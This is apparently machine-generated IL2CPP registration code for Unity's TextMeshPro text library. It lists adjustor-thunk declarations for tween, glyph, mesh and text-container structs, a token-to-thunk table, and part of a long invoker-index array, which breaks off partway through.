extern void FloatTween_get_startValue_mE12446AD7FA5B7816124ADFF1FF7959A3B6ACF1B_AdjustorThunk (void);
extern void FloatTween_set_startValue_m1E04EA68FFEE3AA1553B194D0F82C32815E2C718_AdjustorThunk (void);
extern void FloatTween_get_targetValue_m2FA9DBB4C75BFD36E2A9DE57522CAA25D9F44FF2_AdjustorThunk (void);
extern void FloatTween_set_targetValue_mE110CBA03582B01B96766AE53F2DDD3C2D4DE131_AdjustorThunk (void);
extern void FloatTween_get_duration_mE71CD40934ED69FDD7CDA8D5438E9897E6E9FE7A_AdjustorThunk (void);
extern void FloatTween_set_duration_mF59D55C5F70E037AF88A6191D282D404C532D613_AdjustorThunk (void);
extern void FloatTween_get_ignoreTimeScale_m8FE31080B4800A6CFB89918E0803BB1BE21FDA4B_AdjustorThunk (void);
extern void FloatTween_set_ignoreTimeScale_m53B7945E5B54998B9BC28E7508E94D3A8205C10A_AdjustorThunk (void);
extern void FloatTween_TweenValue_m022D385B013439E2FB8020F6A6BD329CECA81E89_AdjustorThunk (void);
extern void FloatTween_AddOnChangedCallback_m2DCB737D223D6345503A9DA057D7935F9C3A5AD6_AdjustorThunk (void);
extern void FloatTween_GetIgnoreTimescale_mB13FC7DCC241FCF2C9EC10D8AF8A9B6103F9B420_AdjustorThunk (void);
extern void FloatTween_GetDuration_m4F4E336D66A32D1F051E0EF2B1513F05EC3BF349_AdjustorThunk (void);
extern void FloatTween_ValidTarget_m4591FB5DBEE8762554B97A09B232893EE754D7DF_AdjustorThunk (void);
extern void FontAssetCreationSettings__ctor_m9A07F1B7C85235E9BDA86E7505E0A5AE0B78E5BA_AdjustorThunk (void);
extern void KerningPairKey__ctor_m76933735460799247D37F13189B62469E35C767B_AdjustorThunk (void);
extern void GlyphValueRecord_Legacy__ctor_m6E3D36058693888F61D14BA825F5F29EA4FC7033_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_get_xPlacement_m3BB0AE22AA4B44163AD2BFB438E60E227523D5E7_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_set_xPlacement_m12D97CDB7F44213ACBB3C015B5E88147147850A2_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_get_yPlacement_m4FC0DDE3029083A45158537122D3BC3391DF2143_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_set_yPlacement_m21EE385F1B674F9A575FFE6583A7E9035CFA2C24_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_get_xAdvance_mA01138133A0841ADC49C3D0718B2268D9819CE4B_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_set_xAdvance_m862DABDFC3FF1C78E6A4C655A6C5631B905370E9_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_get_yAdvance_m6F2282B9DF89F62B52A07D36327CC39720225BA3_AdjustorThunk (void);
extern void TMP_GlyphValueRecord_set_yAdvance_m5369AC719C39D3B9B79F5FEDC85C109754A4D60E_AdjustorThunk (void);
extern void TMP_GlyphValueRecord__ctor_m030CD9864F16A5FB58D41ECD6CF66EC883B078BA_AdjustorThunk (void);
extern void TMP_GlyphValueRecord__ctor_m5F96BB76417057AB3AC83120DA921295DBCA9952_AdjustorThunk (void);
extern void TMP_GlyphValueRecord__ctor_mFE317398DD11D070520A083E7C0758D7FD862F11_AdjustorThunk (void);
extern void TMP_GlyphAdjustmentRecord_get_glyphIndex_m5DE8A84366AD7DC8B32D99B47D2BFE291F3C4F34_AdjustorThunk (void);
extern void TMP_GlyphAdjustmentRecord_set_glyphIndex_m3045246D7E256A1DEC17ADE2887BCEB013DF2DBB_AdjustorThunk (void);
extern void TMP_GlyphAdjustmentRecord_get_glyphValueRecord_m1368E9CA86E6E76E04901506445319BAEFD6AA56_AdjustorThunk (void);
extern void TMP_GlyphAdjustmentRecord_set_glyphValueRecord_m47A43D4E95C3A89DC17588C3BE7F093517B4EBE9_AdjustorThunk (void);
extern void TMP_GlyphAdjustmentRecord__ctor_m41FDDFADD92DB1A8446228B1108E3E5C985CAAE0_AdjustorThunk (void);
extern void TMP_GlyphAdjustmentRecord__ctor_mB6BB797DD594B413042DD5D4FB8D691430FC8F51_AdjustorThunk (void);
extern void GlyphPairKey__ctor_m59DDEB66E800AABAEF624BCCF1CE091F27F124A2_AdjustorThunk (void);
extern void GlyphPairKey__ctor_mB1A0951B06F19D942015727B646A530A9EB68577_AdjustorThunk (void);
extern void TMP_MeshInfo__ctor_m453B9FC30A2CB8AB2A5C868AC4229B7903F033E6_AdjustorThunk (void);
extern void TMP_MeshInfo__ctor_m95D69F6D719C924C0AF92DCBB1F642D39469CBB5_AdjustorThunk (void);
extern void TMP_MeshInfo_ResizeMeshInfo_m13DF794141EBDD4446391BAF6FD469EEFE3DD6D1_AdjustorThunk (void);
extern void TMP_MeshInfo_ResizeMeshInfo_m247290DC2AD29A232C6473904748ADD11779D543_AdjustorThunk (void);
extern void TMP_MeshInfo_Clear_m002C7A793C6BBFF39C878B909F0162E6EB5C12F8_AdjustorThunk (void);
extern void TMP_MeshInfo_Clear_m28C815908490A64459F38D5EC110C6823B813888_AdjustorThunk (void);
extern void TMP_MeshInfo_ClearUnusedVertices_mF5DC41BB72A19486A4079208D13472DD0BDE2CD9_AdjustorThunk (void);
extern void TMP_MeshInfo_ClearUnusedVertices_m1BDC394210705FC5219A44B3D110BF50F3027B55_AdjustorThunk (void);
extern void TMP_MeshInfo_ClearUnusedVertices_mB4475A7E8ED25FBCD1D1E91924D9DF3D60AE7A1A_AdjustorThunk (void);
extern void TMP_MeshInfo_SortGeometry_m28C6E9A947C7352F16910BAE2F744087720DBECA_AdjustorThunk (void);
extern void TMP_MeshInfo_SortGeometry_m74ED0FE2065414A659EE9A9C809E1B0B4A8A7734_AdjustorThunk (void);
extern void TMP_MeshInfo_SwapVertexData_mBB35F36F8E7E6CF1429B26417140570EE94FE718_AdjustorThunk (void);
extern void CharacterSubstitution__ctor_m5727A2342B980E68CA8CA895437F82280B5E4378_AdjustorThunk (void);
extern void SpecialCharacter__ctor_m6EA478027143EA28D3A52D1E020B95B9286824FF_AdjustorThunk (void);
extern void TextBackingContainer_get_Capacity_m314198D61452DF6CAB895C2BF8D1C0829C579F9C_AdjustorThunk (void);
extern void TextBackingContainer_get_Count_mA4E440D40E9EECB361CE4697B11F9B017B19E0C1_AdjustorThunk (void);
extern void TextBackingContainer_set_Count_m3833989ADDB6C436DFB7A8979080FF5F2A411F19_AdjustorThunk (void);
extern void TextBackingContainer_get_Item_mA0E8BB3275942C3B08087D7E27914F436370C276_AdjustorThunk (void);
extern void TextBackingContainer_set_Item_mF263D268B2D3185D818FD470F86FC8C53DD42381_AdjustorThunk (void);
extern void TextBackingContainer__ctor_m28ABE283E7734CCAFCB78E5C71E817D495C1699D_AdjustorThunk (void);
extern void TextBackingContainer_Resize_m669CEE085664D77F581761A5888EEF20E095F752_AdjustorThunk (void);
extern void TMP_FontStyleStack_Clear_m49B787473D053AE4AB61D0A89BE3022B6D39B15D_AdjustorThunk (void);
extern void TMP_FontStyleStack_Add_m86B65684B67DF2CA334037A30E9876C0F02D454A_AdjustorThunk (void);
extern void TMP_FontStyleStack_Remove_mF44A8D00AA01FCBED6B6FD0A43A8D77990D2A26E_AdjustorThunk (void);
extern void CaretInfo__ctor_m32D2780AAB3322C5EB68677CE3A73BF6B43E51B8_AdjustorThunk (void);
extern void LineSegment__ctor_mD12FAF67166FBF4154B4C71793A87AC3EB9EEF0B_AdjustorThunk (void);
extern void SpriteFrame_ToString_m74A323FCED2C3503F98BEB090A2EF8FE20B53E0C_AdjustorThunk (void);
extern void SpriteSize_ToString_mED85E2303923FBF7A05A012E064705856A4CC2DB_AdjustorThunk (void);
static Il2CppTokenAdjustorThunkPair s_adjustorThunks[110] =
{
{ 0x06000028, MaterialReference__ctor_m022ED9858AAD1DCEC25CBC4C304797F4539D87E7_AdjustorThunk },
{ 0x06000112, VertexGradient__ctor_m9B59D99E8B67833BD6CC50F4704614744D271C3A_AdjustorThunk },
{ 0x06000113, VertexGradient__ctor_m8FFAAFD98D0DC4F7C6D41410EF574A6600DCA40B_AdjustorThunk },
{ 0x06000114, TMP_LinkInfo_SetLinkID_m9E9A1B09A536609EC636A3F6D14498F70C6C487A_AdjustorThunk },
{ 0x06000115, TMP_LinkInfo_GetLinkText_m954EE8FF39D62BA8113773A696095EAE85CD5E3F_AdjustorThunk },
{ 0x06000116, TMP_LinkInfo_GetLinkID_mCC9D9E783D606660A4D15E0E746E1E27AD9C2425_AdjustorThunk },
{ 0x06000117, TMP_WordInfo_GetWord_m7F72AB87E8AB0FA75616FD5409A8F5C031294D2C_AdjustorThunk },
{ 0x06000118, Extents__ctor_m2C44BA0B2EDAAB80829698A019D2BBF8DDFF630B_AdjustorThunk },
{ 0x06000119, Extents_ToString_m947E31139C9C66B1F1942EF74B2FDE347A778F99_AdjustorThunk },
{ 0x0600011B, Mesh_Extents__ctor_m37E0BBEE5EED57082B82AC6162F7785B231907CB_AdjustorThunk },
{ 0x0600011C, Mesh_Extents_ToString_m733F0275FC20FD2F4EE5B6E9ABBD6F3CD8D5AE23_AdjustorThunk },
{ 0x06000125, TMP_Offset_get_left_mCDC93F42B720817E1119AA5360962F038A39E044_AdjustorThunk },
{ 0x06000126, TMP_Offset_set_left_m6FF3BCE823654D55CC03B9202094E129A3891958_AdjustorThunk },
{ 0x06000127, TMP_Offset_get_right_m268492C5D14D1239A429A152ED04DD8790EC98C4_AdjustorThunk },
{ 0x06000128, TMP_Offset_set_right_m19952C4778E73F559E8229B5D1438766E4FF62F2_AdjustorThunk },
{ 0x06000129, TMP_Offset_get_top_m5BAE1A688A264A63524AD4C456CE88CB2086105E_AdjustorThunk },
{ 0x0600012A, TMP_Offset_set_top_m5346213516D5B378349B70D61C4EE6BB25603DCC_AdjustorThunk },
{ 0x0600012B, TMP_Offset_get_bottom_m71E985879E87F76BE28A0FB0485F279866279845_AdjustorThunk },
{ 0x0600012C, TMP_Offset_set_bottom_m4FF1AE55CF113FD06678B22A8ED029F17A9019A8_AdjustorThunk },
{ 0x0600012D, TMP_Offset_get_horizontal_m3BE3663354670CEA3945FD6EC7C6FD1A3F4E81F7_AdjustorThunk },
{ 0x0600012E, TMP_Offset_set_horizontal_m38C3B111DD01790C98E91423FCEF6BE826826891_AdjustorThunk },
{ 0x0600012F, TMP_Offset_get_vertical_mB6681568C4F9B09DCE4CBFFDC33F733DE7EFE149_AdjustorThunk },
{ 0x06000130, TMP_Offset_set_vertical_m16CC389B6E1291EA006498F0E739A05A5CD16ABE_AdjustorThunk },
{ 0x06000132, TMP_Offset__ctor_mE88A176987DB6F468CA09553D74E86E1B48AA81C_AdjustorThunk },
{ 0x06000133, TMP_Offset__ctor_m5C1836C5751505F6A9E674C8CD7A6419F4BFDCA0_AdjustorThunk },
{ 0x06000137, TMP_Offset_GetHashCode_mD43DEA54E08FF70C12AAB7FD40AC4310B81C1421_AdjustorThunk },
{ 0x06000138, TMP_Offset_Equals_m7D8B386EF75BA3B1F931F1F70AAB10FEFA6B17F4_AdjustorThunk },
{ 0x06000139, TMP_Offset_Equals_m1670D25215AB3B155D89F019D27286D294A9ECF0_AdjustorThunk },
{ 0x0600013B, HighlightState__ctor_m25791146FF94DD76C2FAAAF47C1735C01D9F47B2_AdjustorThunk },
{ 0x0600013E, HighlightState_GetHashCode_m2BE4FEEDFCB6713FA9C10C2D3B93E938E011C985_AdjustorThunk },
{ 0x0600013F, HighlightState_Equals_m0317881F19561A64B9016A27C306FDB77460D165_AdjustorThunk },
{ 0x06000140, HighlightState_Equals_mFC0B5D3A36F1CB24FFDC21F6C238184D43324825_AdjustorThunk },
{ 0x0600014A, ColorTween_get_startColor_mC3CD44E2CCEF5BB78ED52759D570B1B6855CBBCC_AdjustorThunk },
{ 0x0600014B, ColorTween_set_startColor_m01FB2C14DD0139433F9EBCF39A286AE064B8A2FB_AdjustorThunk },
{ 0x0600014C, ColorTween_get_targetColor_m26BAA4AAA09E6FD3E79F35C51170C32889919446_AdjustorThunk },
{ 0x0600014D, ColorTween_set_targetColor_m24EB21B05BDCC21A4178DEB116962BE18B361B27_AdjustorThunk },
{ 0x0600014E, ColorTween_get_tweenMode_m9194D120345334B358FA8487E98C75FDD8F8355B_AdjustorThunk },
{ 0x0600014F, ColorTween_set_tweenMode_mB2A52A753B322F14EEF3A1C17B0CC51EB5210035_AdjustorThunk },
{ 0x06000150, ColorTween_get_duration_m2C26D45A626E334E9EECD575CCA45B55945736D3_AdjustorThunk },
{ 0x06000151, ColorTween_set_duration_m0C781971A9EE23189EA02A2835731918680957F0_AdjustorThunk },
{ 0x06000152, ColorTween_get_ignoreTimeScale_m008715D2A64C9FC6419C9D71A7030F8710ABA6AE_AdjustorThunk },
{ 0x06000153, ColorTween_set_ignoreTimeScale_mDC7F5B7E7EDF149304E8139C64712462DAB8D40D_AdjustorThunk },
{ 0x06000154, ColorTween_TweenValue_m43ED566CB5FA4818535832C2ECFFCFEAAE7FFE8E_AdjustorThunk },
{ 0x06000155, ColorTween_AddOnChangedCallback_mF9FE28A71E2818B2C25D79B9272E838034B5A4E4_AdjustorThunk },
{ 0x06000156, ColorTween_GetIgnoreTimescale_m502CC5CF9B974F7F564316687E61A16E8CF038F7_AdjustorThunk },
{ 0x06000157, ColorTween_GetDuration_mC929D8E88C9C230CE6A0EAE684B84CA08CFAA615_AdjustorThunk },
{ 0x06000158, ColorTween_ValidTarget_mFA6997930396ACBF53FCDFBDC457FC3C63AE90D7_AdjustorThunk },
{ 0x0600015A, FloatTween_get_startValue_mE12446AD7FA5B7816124ADFF1FF7959A3B6ACF1B_AdjustorThunk },
{ 0x0600015B, FloatTween_set_startValue_m1E04EA68FFEE3AA1553B194D0F82C32815E2C718_AdjustorThunk },
{ 0x0600015C, FloatTween_get_targetValue_m2FA9DBB4C75BFD36E2A9DE57522CAA25D9F44FF2_AdjustorThunk },
{ 0x0600015D, FloatTween_set_targetValue_mE110CBA03582B01B96766AE53F2DDD3C2D4DE131_AdjustorThunk },
{ 0x0600015E, FloatTween_get_duration_mE71CD40934ED69FDD7CDA8D5438E9897E6E9FE7A_AdjustorThunk },
{ 0x0600015F, FloatTween_set_duration_mF59D55C5F70E037AF88A6191D282D404C532D613_AdjustorThunk },
{ 0x06000160, FloatTween_get_ignoreTimeScale_m8FE31080B4800A6CFB89918E0803BB1BE21FDA4B_AdjustorThunk },
{ 0x06000161, FloatTween_set_ignoreTimeScale_m53B7945E5B54998B9BC28E7508E94D3A8205C10A_AdjustorThunk },
{ 0x06000162, FloatTween_TweenValue_m022D385B013439E2FB8020F6A6BD329CECA81E89_AdjustorThunk },
{ 0x06000163, FloatTween_AddOnChangedCallback_m2DCB737D223D6345503A9DA057D7935F9C3A5AD6_AdjustorThunk },
{ 0x06000164, FloatTween_GetIgnoreTimescale_mB13FC7DCC241FCF2C9EC10D8AF8A9B6103F9B420_AdjustorThunk },
{ 0x06000165, FloatTween_GetDuration_m4F4E336D66A32D1F051E0EF2B1513F05EC3BF349_AdjustorThunk },
{ 0x06000166, FloatTween_ValidTarget_m4591FB5DBEE8762554B97A09B232893EE754D7DF_AdjustorThunk },
{ 0x06000239, FontAssetCreationSettings__ctor_m9A07F1B7C85235E9BDA86E7505E0A5AE0B78E5BA_AdjustorThunk },
{ 0x0600023A, KerningPairKey__ctor_m76933735460799247D37F13189B62469E35C767B_AdjustorThunk },
{ 0x0600023B, GlyphValueRecord_Legacy__ctor_m6E3D36058693888F61D14BA825F5F29EA4FC7033_AdjustorThunk },
{ 0x06000266, TMP_GlyphValueRecord_get_xPlacement_m3BB0AE22AA4B44163AD2BFB438E60E227523D5E7_AdjustorThunk },
{ 0x06000267, TMP_GlyphValueRecord_set_xPlacement_m12D97CDB7F44213ACBB3C015B5E88147147850A2_AdjustorThunk },
{ 0x06000268, TMP_GlyphValueRecord_get_yPlacement_m4FC0DDE3029083A45158537122D3BC3391DF2143_AdjustorThunk },
{ 0x06000269, TMP_GlyphValueRecord_set_yPlacement_m21EE385F1B674F9A575FFE6583A7E9035CFA2C24_AdjustorThunk },
{ 0x0600026A, TMP_GlyphValueRecord_get_xAdvance_mA01138133A0841ADC49C3D0718B2268D9819CE4B_AdjustorThunk },
{ 0x0600026B, TMP_GlyphValueRecord_set_xAdvance_m862DABDFC3FF1C78E6A4C655A6C5631B905370E9_AdjustorThunk },
{ 0x0600026C, TMP_GlyphValueRecord_get_yAdvance_m6F2282B9DF89F62B52A07D36327CC39720225BA3_AdjustorThunk },
{ 0x0600026D, TMP_GlyphValueRecord_set_yAdvance_m5369AC719C39D3B9B79F5FEDC85C109754A4D60E_AdjustorThunk },
{ 0x0600026E, TMP_GlyphValueRecord__ctor_m030CD9864F16A5FB58D41ECD6CF66EC883B078BA_AdjustorThunk },
{ 0x0600026F, TMP_GlyphValueRecord__ctor_m5F96BB76417057AB3AC83120DA921295DBCA9952_AdjustorThunk },
{ 0x06000270, TMP_GlyphValueRecord__ctor_mFE317398DD11D070520A083E7C0758D7FD862F11_AdjustorThunk },
{ 0x06000272, TMP_GlyphAdjustmentRecord_get_glyphIndex_m5DE8A84366AD7DC8B32D99B47D2BFE291F3C4F34_AdjustorThunk },
{ 0x06000273, TMP_GlyphAdjustmentRecord_set_glyphIndex_m3045246D7E256A1DEC17ADE2887BCEB013DF2DBB_AdjustorThunk },
{ 0x06000274, TMP_GlyphAdjustmentRecord_get_glyphValueRecord_m1368E9CA86E6E76E04901506445319BAEFD6AA56_AdjustorThunk },
{ 0x06000275, TMP_GlyphAdjustmentRecord_set_glyphValueRecord_m47A43D4E95C3A89DC17588C3BE7F093517B4EBE9_AdjustorThunk },
{ 0x06000276, TMP_GlyphAdjustmentRecord__ctor_m41FDDFADD92DB1A8446228B1108E3E5C985CAAE0_AdjustorThunk },
{ 0x06000277, TMP_GlyphAdjustmentRecord__ctor_mB6BB797DD594B413042DD5D4FB8D691430FC8F51_AdjustorThunk },
{ 0x06000280, GlyphPairKey__ctor_m59DDEB66E800AABAEF624BCCF1CE091F27F124A2_AdjustorThunk },
{ 0x06000281, GlyphPairKey__ctor_mB1A0951B06F19D942015727B646A530A9EB68577_AdjustorThunk },
{ 0x060003AA, TMP_MeshInfo__ctor_m453B9FC30A2CB8AB2A5C868AC4229B7903F033E6_AdjustorThunk },
{ 0x060003AB, TMP_MeshInfo__ctor_m95D69F6D719C924C0AF92DCBB1F642D39469CBB5_AdjustorThunk },
{ 0x060003AC, TMP_MeshInfo_ResizeMeshInfo_m13DF794141EBDD4446391BAF6FD469EEFE3DD6D1_AdjustorThunk },
{ 0x060003AD, TMP_MeshInfo_ResizeMeshInfo_m247290DC2AD29A232C6473904748ADD11779D543_AdjustorThunk },
{ 0x060003AE, TMP_MeshInfo_Clear_m002C7A793C6BBFF39C878B909F0162E6EB5C12F8_AdjustorThunk },
{ 0x060003AF, TMP_MeshInfo_Clear_m28C815908490A64459F38D5EC110C6823B813888_AdjustorThunk },
{ 0x060003B0, TMP_MeshInfo_ClearUnusedVertices_mF5DC41BB72A19486A4079208D13472DD0BDE2CD9_AdjustorThunk },
{ 0x060003B1, TMP_MeshInfo_ClearUnusedVertices_m1BDC394210705FC5219A44B3D110BF50F3027B55_AdjustorThunk },
{ 0x060003B2, TMP_MeshInfo_ClearUnusedVertices_mB4475A7E8ED25FBCD1D1E91924D9DF3D60AE7A1A_AdjustorThunk },
{ 0x060003B3, TMP_MeshInfo_SortGeometry_m28C6E9A947C7352F16910BAE2F744087720DBECA_AdjustorThunk },
{ 0x060003B4, TMP_MeshInfo_SortGeometry_m74ED0FE2065414A659EE9A9C809E1B0B4A8A7734_AdjustorThunk },
{ 0x060003B5, TMP_MeshInfo_SwapVertexData_mBB35F36F8E7E6CF1429B26417140570EE94FE718_AdjustorThunk },
{ 0x060005CF, CharacterSubstitution__ctor_m5727A2342B980E68CA8CA895437F82280B5E4378_AdjustorThunk },
{ 0x060005D0, SpecialCharacter__ctor_m6EA478027143EA28D3A52D1E020B95B9286824FF_AdjustorThunk },
{ 0x060005D1, TextBackingContainer_get_Capacity_m314198D61452DF6CAB895C2BF8D1C0829C579F9C_AdjustorThunk },
{ 0x060005D2, TextBackingContainer_get_Count_mA4E440D40E9EECB361CE4697B11F9B017B19E0C1_AdjustorThunk },
{ 0x060005D3, TextBackingContainer_set_Count_m3833989ADDB6C436DFB7A8979080FF5F2A411F19_AdjustorThunk },
{ 0x060005D4, TextBackingContainer_get_Item_mA0E8BB3275942C3B08087D7E27914F436370C276_AdjustorThunk },
{ 0x060005D5, TextBackingContainer_set_Item_mF263D268B2D3185D818FD470F86FC8C53DD42381_AdjustorThunk },
{ 0x060005D6, TextBackingContainer__ctor_m28ABE283E7734CCAFCB78E5C71E817D495C1699D_AdjustorThunk },
{ 0x060005D7, TextBackingContainer_Resize_m669CEE085664D77F581761A5888EEF20E095F752_AdjustorThunk },
{ 0x06000603, TMP_FontStyleStack_Clear_m49B787473D053AE4AB61D0A89BE3022B6D39B15D_AdjustorThunk },
{ 0x06000604, TMP_FontStyleStack_Add_m86B65684B67DF2CA334037A30E9876C0F02D454A_AdjustorThunk },
{ 0x06000605, TMP_FontStyleStack_Remove_mF44A8D00AA01FCBED6B6FD0A43A8D77990D2A26E_AdjustorThunk },
{ 0x06000617, CaretInfo__ctor_m32D2780AAB3322C5EB68677CE3A73BF6B43E51B8_AdjustorThunk },
{ 0x06000631, LineSegment__ctor_mD12FAF67166FBF4154B4C71793A87AC3EB9EEF0B_AdjustorThunk },
{ 0x06000650, SpriteFrame_ToString_m74A323FCED2C3503F98BEB090A2EF8FE20B53E0C_AdjustorThunk },
{ 0x06000651, SpriteSize_ToString_mED85E2303923FBF7A05A012E064705856A4CC2DB_AdjustorThunk },
};
static const int32_t s_InvokerIndices[1618] =
{
5554,
5554,
6979,
6979,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
10259,
10068,
5554,
10068,
5554,
9404,
2907,
9404,
2907,
9404,
2907,
4758,
4758,
9189,
2359,
9189,
2359,
9189,
2359,
9189,
2359,
6979,
650,
9222,
7897,
7897,
6887,
5594,
6968,
5667,
6811,
5521,
6869,
5578,
6968,
5667,
6893,
5599,
6893,
5599,
6887,
6887,
6887,
5594,
6845,
6845,
6971,
5670,
6845,
6845,
6979,
6979,
6979,
6979,
6979,
5667,
6979,
5149,
4045,
6979,
10295,
6811,
5521,
6811,
5521,
6887,
5594,
6845,
6845,
6845,
6845,
6845,
6811,
5521,
2990,
1221,
6979,
6979,
6979,
6979,
5521,
6979,
6979,
3237,
4312,
5594,
5554,
5554,
3193,
5521,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
5521,
5670,
1854,
6979,
6979,
6979,
4312,
4312,
5554,
6845,
5554,
5599,
5449,
5449,
6979,
6979,
6979,
6979,
3964,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6845,
5594,
5594,
5594,
6979,
5521,
5521,
6739,
5599,
6979,
10295,
6845,
6887,
5594,
6845,
6845,
6979,
6979,
6979,
6979,
6979,
6979,
6845,
6845,
5521,
6979,
4312,
6979,
6971,
5670,
6979,
3231,
6979,
6979,
1188,
1839,
3237,
4312,
6979,
5554,
5554,
3193,
5521,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6845,
6979,
6979,
6979,
6979,
4312,
4312,
5554,
6845,
5554,
5599,
5449,
5449,
6979,
6979,
6979,
5521,
3964,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6845,
5594,
6979,
6739,
6869,
5599,
6979,
10295,
5521,
6979,
6887,
6845,
6979,
6845,
5521,
6979,
6887,
6845,
6979,
6845,
9462,
9462,
9462,
9462,
8797,
10075,
10068,
10068,
10295,
10295,
9462,
9444,
10295,
2935,
2907,
9847,
9847,
9847,
9847,
8520,
0,
9158,
9158,
9157,
9157,
8868,
8868,
8869,
8865,
8636,
8623,
9240,
8947,
10295,
5448,
1187,
1777,
6845,
6845,
6845,
3268,
6845,
10295,
3268,
6845,
6811,
6979,
6979,
2907,
1738,
2880,
10287,
10295,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
10286,
1362,
3248,
9256,
9256,
9322,
6811,
4758,
4839,
10295,
2644,
9173,
9173,
6811,
4758,
4711,
6979,
5448,
1187,
10295,
9727,
0,
0,
0,
0,
6741,
5448,
6741,
5448,
6811,
5521,
6893,
5599,
6887,
5594,
5599,
5554,
6887,
6893,
6887,
6979,
6893,
5599,
6893,
5599,
6893,
5599,
6887,
5594,
5599,
5554,
6887,
6893,
6887,
6979,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
9071,
9067,
10068,
10068,
9444,
9437,
9872,
9872,
9872,
9872,
9872,
10295,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6893,
5599,
6811,
5521,
5521,
2931,
6887,
6979,
6979,
6979,
6979,
6979,
5554,
5554,
5554,
6979,
6979,
0,
5554,
5554,
5554,
6979,
4312,
5554,
4312,
5554,
4312,
5554,
1098,
3248,
1840,
5599,
6979,
4318,
6979,
5554,
10295,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
5554,
5554,
6979,
6845,
5554,
6845,
5554,
6979,
5554,
5554,
3199,
6845,
5554,
6979,
6979,
6979,
5594,
5521,
6979,
6887,
6845,
6979,
6845,
6845,
5554,
6845,
5554,
6811,
5521,
6765,
5475,
6845,
5554,
6845,
6845,
5554,
6845,
6845,
6845,
5554,
6811,
6887,
5594,
6887,
5594,
6845,
5554,
6845,
5554,
6845,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6845,
5554,
6845,
5554,
6767,
5479,
6845,
5554,
9847,
7236,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
1742,
2907,
6979,
6979,
6979,
6979,
4726,
1543,
1558,
2398,
1133,
4758,
9847,
9847,
3937,
10068,
10295,
10068,
10295,
2408,
1577,
2408,
1577,
2359,
2359,
6979,
6887,
6979,
6979,
6979,
5554,
5554,
3199,
0,
5594,
6979,
6979,
6979,
5594,
6979,
6979,
6979,
10295,
10295,
6979,
3964,
3964,
6979,
9847,
6979,
29,
2880,
5490,
8902,
6811,
5521,
6780,
6811,
5521,
6780,
6887,
6979,
1732,
1196,
6979,
10295,
6979,
6979,
1405,
739,
2880,
5521,
6979,
6979,
4758,
6979,
4758,
6979,
4758,
10295,
6979,
3964,
3964,
8519,
8519,
8519,
8519,
10295,
10259,
7379,
7379,
7288,
8499,
8499,
6979,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
1362,
5491,
5490,
9321,
6811,
5521,
6934,
5635,
2961,
5485,
6933,
5634,
6933,
5634,
6811,
5521,
3253,
5488,
2880,
5554,
6845,
5554,
6979,
6979,
10295,
6979,
3964,
3964,
6845,
6845,
6811,
6979,
6845,
6887,
5594,
6887,
5594,
6887,
6845,
5554,
5554,
3203,
6887,
6893,
5599,
6811,
5521,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6893,
5599,
6741,
5448,
6887,
5594,
6741,
5448,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6811,
5521,
6893,
5599,
6845,
5554,
6887,
5594,
6887,
5594,
6887,
5594,
6887,
5594,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6845,
5554,
6887,
5594,
6887,
5594,
6887,
6810,
5520,
6887,
5436,
5436,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6887,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6979,
6979,
5554,
6845,
6979,
6979,
6979,
6979,
5594,
5594,
3237,
3237,
10259,
10068,
6887,
6979,
6979,
4758,
5554,
5554,
4312,
5554,
5554,
3964,
4725,
5554,
5554,
5554,
6893,
6845,
6811,
3237,
6811,
3237,
1981,
1981,
1981,
1981,
5594,
3237,
5594,
3237,
5594,
3237,
5594,
3237,
6979,
6979,
6979,
5554,
5520,
5520,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
6979,
5599,
6979,
5599,
3937,
3937,
3937,
3937,
6979,
6979,
5521,
6979,
6979,
6979,
6979,
5554,
3209,
6979,
3209,
1842,
1385,
6979,
6979,
5554,
5554,
6979,
6979,
5594,
5554,
5554,
6979,
6979,
6979,
5554,
6979,
5521,
2931,
6979,
6979,
6893,
6893,
6893,
6893,
6893,
6893,
6811,
5599,
5554,
10295,
6845,
3195,
1385,
569,
3697,
6979,
6979,
6979,
6979,
6979,
5521,
6979,
6887,
6845,
6979,
6845,
5521,
6979,
6887,
6845,
6979,
6845,
9142,
0,
0,
0,
0,
6979,
0,
0,
0,
0,
0,
0,
10295,
10295,
9062,
10068,
9847,
9062,
8794,
10068,
10068,
10295,
9731,
9067,
9847,
8527,
9067,
10068,
10068,
10295,
10068,
9444,
6979,
6979,
6979,
4758,
6979,
4758,
6979,
4758,
6979,
4758,
3193,
1782,
5521,
2931,
6979,
5594,
6979,
5521,
2931,
5521,
5554,
2880,
10295,
0,
0,
0,
0,
0,
0,
0,
10295,
10259,
10068,
9189,
10064,
6979,
5554,
5554,
5554,
6979,
3231,
6979,
6979,
10259,
10282,
10282,
10282,
10282,
10282,
10282,
10282,
10250,
10064,
10282,
10259,
10259,
10285,
10285,
10285,
10292,
10292,
10282,
10282,
10075,
10259,
10282,
10259,
10259,
10282,
10075,
10250,
10064,
10259,
10259,
10259,
10259,
10259,
10259,
10282,
10075,
10259,
10259,
10259,
10259,
10259,
10259,
10295,
9847,
6979,
6979,
10259,
10259,
